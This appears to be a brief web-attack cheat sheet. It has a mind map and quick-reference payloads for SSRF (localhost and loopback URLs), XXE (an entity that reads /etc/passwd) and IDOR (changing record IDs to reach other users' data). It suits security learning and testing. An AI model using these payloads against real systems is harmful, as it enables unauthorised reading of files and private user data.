Web Attacks Overview

Common web vulnerabilities

Web Attacks

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MAP Interactive Mind Map

graph TD A[Web App] --> B{Vulnerability} B --> C[SSRF] B --> D[XXE] B --> E[IDOR] C --> F[Internal Scan] C --> G[Cloud Metadata] D --> H[Read Files] D --> I[NTLM Hash] E --> J[Enumerate IDs] E --> K[Access Data]

REF Quick Reference

SSRF

http://localhost:80 # Target local service
http://127.0.0.1 # Target loopback IP
http://0.0.0.0 # Target all interfaces

XXE

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<data>&xxe;</data> # Basic XXE payload to read /etc/passwd

IDOR

/api/user/1 β†’ /api/user/2 # Change ID to access other user data
/download?file=123 β†’ 124 # Change file ID to download other files
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